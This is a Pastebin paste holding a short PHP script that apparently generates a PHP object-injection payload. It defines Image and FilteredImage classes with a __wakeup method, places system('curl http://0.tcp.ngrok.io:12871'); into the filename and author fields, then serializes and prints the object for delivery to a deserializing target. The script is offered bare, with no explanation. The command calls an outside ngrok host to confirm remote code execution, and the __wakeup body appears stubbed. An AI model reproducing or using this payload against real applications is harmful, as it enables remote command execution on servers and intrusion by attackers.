Advertisement
yasserkAKA

Untitled

Sep 3rd, 2019
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.61 KB | None | 0 0
  1. <?php
  2. class Image
  3. {
  4.  
  5. public $filename;
  6. public $author;
  7.  
  8. }
  9. class FilteredImage extends Image
  10. {
  11.  
  12. public $apply_filter;
  13. public $css;
  14.  
  15. public function __wakeup()
  16. {
  17. call_user_func;
  18. }
  19.  
  20. public function generate_css()
  21. {
  22. return 'filter: ' . $this->css . ';';
  23. }
  24.  
  25. }
  26. $filename="system('curl http://0.tcp.ngrok.io:12871');";
  27. $author="system('curl http://0.tcp.ngrok.io:12871');";
  28. $image = new FilteredImage();
  29. $image->apply_filter=0;
  30. $image->filename=$filename;
  31. $image->author=$author;
  32. $serialized_img = serialize($image);
  33. echo $serialized_img;
  34. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement